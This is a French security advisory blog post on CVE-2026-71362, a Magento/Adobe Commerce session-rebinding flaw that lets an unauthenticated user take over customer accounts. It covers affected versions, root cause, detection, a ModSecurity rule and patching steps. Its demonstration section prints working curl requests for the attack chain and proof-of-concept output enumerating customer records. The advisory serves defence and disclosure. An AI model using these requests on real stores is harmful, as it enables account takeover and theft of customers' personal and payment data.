top of page
Rechercher

SessionSwap (CVE-2026-71362) : prise de contrôle de compte client non authentifiée dans Magento / Adobe Commerce

Photo du rédacteur: Loïc Castel
Loïc Castel
2 sept.
7 min de lecture

Dernière mise à jour : 3 sept.

Une nouvelle vulnérabilité critique touche Magento et Adobe Commerce : CVE-2026-71362 (CVSS 9.1) permet à un attaquant non authentifié de basculer sa propre session sur le compte de n'importe quel client, sans mot de passe ni jeton. La faille donne accès aux données personnelles, à l'historique de commandes, aux adresses et aux moyens de paiement enregistrés de la victime.


Logo généré par Gemini (Google)
Logo généré par Gemini (Google)

Corrigée par Adobe le 11 août 2026 via le bulletin APSB26-92, elle fait déjà l'objet de tentatives d'exploitation bloquées par les solutions de protection spécialisées e-commerce dès le lendemain de sa publication. Un lab de reproduction et un proof-of-concept public sont disponibles, ce qui accélère considérablement la fenêtre d'exploitation de masse.


En bref

  • Mécanisme : une session client peut être « rebindée » vers n'importe quel customer_id via un abus du formulaire d'édition de compte du storefront (customer/account/edit), sans authentification préalable.

  • Pré-requis pour l'attaquant : aucun compte administrateur, aucune interaction de la victime ; un compte client auto-enregistré (jetable) suffit.

  • Périmètre : Adobe Commerce, Adobe Commerce B2B et Magento Open Source, sur les branches 2.4.4 à 2.4.9 (niveau de patch -2026-jul et antérieurs).

  • Packaging du correctif : patch isolé (hotfix), non diffusé via Composer ni comme nouvelle release, nécessite une application manuelle et dans le bon ordre.

  • État d'exploitation : Adobe ne rapporte pas d'exploitation active connue au moment de la publication, mais des tentatives ont déjà été bloquées par des WAF spécialisés dès le 12 août 2026.


Références


Chronologie

  • 11 août 2026 : Adobe publie le bulletin APSB26-92 (Patch Tuesday d'août), incluant le correctif de CVE-2026-71362, créditée au chercheur 0x0.eth.

  • 12 août 2026 : Sansec indique que son WAF Shield bloque déjà des tentatives d'exploitation de CVE-2026-71362, malgré l'absence d'exploitation connue rapportée par Adobe. BleepingComputer relaie l'information.

  • Semaines suivantes : publication d'un lab de reproduction public (dinosn/cve-2026-71362-magento-lab) et d'un template de détection nuclei, abaissant fortement la barrière technique à l'exploitation.


Cette trajectoire rappelle celle d'autres failles critiques Magento récentes, CosmicSting (2024), SessionReaper (2025) ou PolyShell (2026), où l'écart entre publication du correctif et exploitation de masse se compte en jours, voire en heures dès qu'un PoC public circule.


Périmètre et versions impactées

Produit

Versions vulnérables

Correctif

Adobe Commerce

2.4.4 à 2.4.9 (niveau -2026-jul et antérieurs)

Patch isolé niveau -2026-aug

Magento Open Source

2.4.6 à 2.4.9

Patch isolé niveau -2026-aug

Adobe Commerce B2B

1.3.3 à 1.5.3

Patch isolé niveau -2026-aug


Le nommage exact du patch est spécifique à chaque branche (par exemple, pour la 2.4.6-p15 : 246p15-2026-08-001-CE / 246p15-2026-08-001-EE). Il convient de se référer à la KB Adobe (ka-40380) pour identifier le fichier correspondant à sa version exacte.


À noter également : le périmètre réel dépasse souvent l'inventaire officiel des environnements de production. Les instances de staging, de préproduction et les microsites de campagne marketing, fréquemment oubliés dans les cycles de patch, exposent la même faille et méritent une vérification systématique.


Détails techniques de la vulnérabilité

CVE-2026-71362 est une faille d'autorisation incorrecte (CWE-863) logée dans le contrôleur storefront Magento\Customer\Controller\Account\Edit. La chaîne d'exploitation repose sur un enchaînement de trois comportements qui, pris isolément, semblent anodins :


  1. Un appel à editPost échoué (par exemple avec un mot de passe actuel erroné) laisse néanmoins le tableau customer_form_data, soumis par l'utilisateur, donc entièrement contrôlé par l'attaquant, persister en session.

  2. Un appel ultérieur à Edit::execute() (affichage du formulaire d'édition) réutilise ce tableau et le transmet à DataObjectHelper::populateWithArray(), qui recopie toutes les clés correspondantes sur l'objet client courant, y compris la clé id.

  3. L'objet ainsi modifié est réinjecté dans la session via setCustomerData(), qui appelle setCustomerId(). Or Customer\Model\Session::getId() se contente de renvoyer getCustomerId() : écraser ce seul champ suffit à faire répondre true à isLoggedIn(), en tant que la victime.


Aucune vérification de mot de passe, de jeton CSRF applicatif au sens propriétaire, ou de correspondance entre l'identifiant en session et l'identifiant réellement authentifié n'intervient à cette étape. Le correctif d'Adobe se limite d'ailleurs à ce seul fichier Edit.php, ce qui confirme la nature ponctuelle du défaut.


Schéma de la chaîne d'attaque

Attaquant s'enregistre (compte jetable)

        │
        ▼

POST /customer/account/editPost
id=<VICTIME>, change_email=1, current_password=faux

        │  (échec métier, mais persistance en session)
        ▼

session["customer_form_data"] = { ..., id: <VICTIME>, ... }

        │
        ▼

GET /customer/account/edit

  populateWithArray(customer_form_data)  →  setId(<VICTIME>)
  setCustomerData()  →  setCustomerId(<VICTIME>)

        │
        ▼

Le cookie de session de l'attaquant résout désormais vers le compte de la VICTIME sur tout le storefront

        │
        ▼

Accès : dashboard, historique de commandes, adresses, données PII, jetons de paiement enregistrés

Démonstration

Le dépôt public dinosn/cve-2026-71362-magento-lab fournit un environnement Docker complet (nginx, php-fpm, MariaDB, OpenSearch, Redis) permettant de reproduire la faille de bout en bout, avec un contrôle négatif A/B/A via make patch / make unpatch / make exploit.


Reproduction manuelle simplifiée (extrait) :


# 1. Récupération du form_key et des cookies
curl -c jar -s http://TARGET/customer/account/create | grep -o 'name="form_key"[^>]*'

# 2. Enregistrement d'un compte attaquant (auto-connecté)
curl -b jar -c jar -s -X POST http://TARGET/customer/account/createPost \
  --data-urlencode form_key=<FK> \
  --data-urlencode firstname=Mallory \
  --data-urlencode lastname=Attacker \
  --data-urlencode email=attacker@lab.test \
  --data-urlencode password='Attacker#123' \
  --data-urlencode password_confirmation='Attacker#123'

# 3. Empoisonnement de la session : editPost échoué portant l'id de la victime
curl -b jar -c jar -s -X POST http://TARGET/customer/account/editPost \
  --data-urlencode form_key=<FK2> \
  --data-urlencode id=1 \
  --data-urlencode change_email=1 \
  --data-urlencode current_password=wrong \
  --data-urlencode email=attacker@lab.test

# 4. Déclenchement : le cookie de l'attaquant résout maintenant vers customer_id=1

curl -b jar -s http://TARGET/customer/account/edit | grep -Ei 'name="(firstname|email)"'

Le script exploit/poc.py du lab automatise cette chaîne et illustre la portée réelle du risque en énumérant les customer_id de 1 à 25, rebindant la session sur chacun pour en extraire les données personnelles :


[1] attacker authenticated as its OWN account: firstname='Mallory'
[+] registered a victim to steal: firstname='VICTIM…' email='victim…@lab.test'

[2] enumerating customer_id 1..25 by rebinding the attacker session to each:
      customer_id=1   -> VICTIM… Target  <victim…@lab.test>
      ...
  >>> ACCOUNT TAKEOVER: attacker's session hijacked customer_id=1 (VICTIM…) and read every enumerated account's PII with only self-registration.

Ce qui frappe dans cette démonstration, c'est le rapport coût/impact : un unique compte auto-enregistré, deux requêtes HTTP, et l'attaquant peut parcourir l'intégralité de la base clients d'une boutique.


Impact pour les applications Magento

  • Prise de contrôle de compte (Account Takeover) en une poignée de requêtes, sans interaction de la victime ni compromission préalable.

  • Exposition de données personnelles : nom, email, adresses de facturation/livraison, historique de commandes.

  • Exposition de moyens de paiement enregistrés (tokens de cartes stockées côté prestataire, selon configuration), avec des implications potentielles PCI-DSS.

  • Risque de conformité RGPD en cas d'exfiltration massive via énumération des informations utilisateur

  • Angle B2B aggravant : sur Adobe Commerce B2B, un compte client correspond souvent à un siège au sein d'un compte entreprise ; la compromission d'un seul identifiant peut donc exposer des données ou des workflows d'achat sensibles à l'échelle d'une organisation cliente.


Détection et indicateurs de compromission

  • Signature applicative principale : une requête POST /customer/account/editPost portant un paramètre id différent du client courant, combiné à change_email=1 et un current_password invalide (donc en échec), immédiatement suivie d'une requête GET /customer/account/edit.

  • Recherche forensique en base de données : interroger la table customer_entity à la recherche de modifications (email, hash de mot de passe, adresses) intervenues entre le 11 août 2026 et la date d'application du correctif, non initiées par le titulaire légitime du compte.

  • Règle WAF / ModSecurity (à adapter à votre stack) bloquant les POST vers customer/account/(edit|create)post portant les paramètres id ou customer_group_id, typiques d'une tentative d'assignation de masse (mass assignment) :

SecRule REQUEST_METHOD "POST" "chain,id:900001,phase:2,deny,status:403,msg:'Possible CVE-2026-71362 mass assignment attempt'"
SecRule REQUEST_URI "@rx /customer/account/(edit|create)post"
SecRule ARGS_NAMES "@rx ^(id|customer_group_id)$"

Recommandations

  1. Appliquer le correctif dans le bon ordre, spécificité importante de ce bulletin : le patch d'août 2026 est un patch isolé qui s'empile sur celui de juillet 2026 (APSB26-73). L'ordre à respecter est :

    1. être sur la dernière release -p de sa branche Magento/Adobe Commerce ;

    2. avoir déjà appliqué le patch isolé de juillet 2026 ;

    3. appliquer par-dessus le patch isolé d'août 2026 (APSB26-92). composer update seul ne suffit pas : le correctif n'est pas distribué comme package Composer standard.

  2. En cas d'impossibilité de patcher immédiatement : déployer une règle WAF bloquant les POST suspects sur editpost/createpost (voir section précédente), et activer, si disponible, une protection e-commerce spécialisée type Sansec Shield.

  3. Après application du correctif :

    1. invalider l'ensemble des sessions client actives ;

    2. forcer la réinitialisation des mots de passe des comptes suspects identifiés lors de l'audit forensique ;

    3. rechercher des backdoors ou modifications non autorisées déposées avant remédiation.


Recommandations opérationnelles pour les équipes sécurité

Pour les éditeurs et intégrateurs Magento/Adobe Commerce

  • Auditer l'ensemble du parc (production, staging, préproduction, microsites) pour identifier les instances encore au niveau de patch -2026-jul ou antérieur.

  • Planifier l'application du correctif en fenêtre d'urgence plutôt qu'en cycle de maintenance standard, compte tenu du CVSS 9.1 et des tentatives d'exploitation déjà observées.


Pour les équipes SOC / Blue Team

  • Déployer les signatures de détection décrites ci-dessus (WAF, requêtes forensiques, template nuclei) sur l'ensemble des instances Magento supervisées.

  • Mettre en place une alerte sur toute séquence editPost en échec suivie d'un GET /account/edit, en particulier lorsque le paramètre id diffère de l'identifiant de session initial.


Pour la réponse à incident

  • En cas de suspicion d'exploitation, l'audit doit couvrir : logs applicatifs (séquences editPost/edit), table customer_entity, et journaux de connexion pour identifier d'éventuelles usurpations de session antérieures à la remédiation.

  • Safercy accompagne les équipes techniques dans la qualification et le traitement de ce type d'incident dans le cadre de sa mission de Réponse à Incident.


Conclusion

CVE-2026-71362 illustre une nouvelle fois la fragilité des mécanismes de gestion de session reposant sur une confiance excessive accordée aux données soumises côté client. Le score CVSS de 9.1, l'absence totale de pré-requis d'authentification pour l'attaquant, et la disponibilité rapide d'un lab de reproduction public en font une priorité de traitement, indépendamment du niveau de priorité 2 assigné par Adobe dans son bulletin.


Les équipes exploitant Magento ou Adobe Commerce doivent traiter cette vulnérabilité avec priorité forte et vérifier en priorité l'exhaustivité de leur inventaire d'instances, y compris celles habituellement hors périmètre de gestion courante.



 
 

Posts récents

Voir tout
bottom of page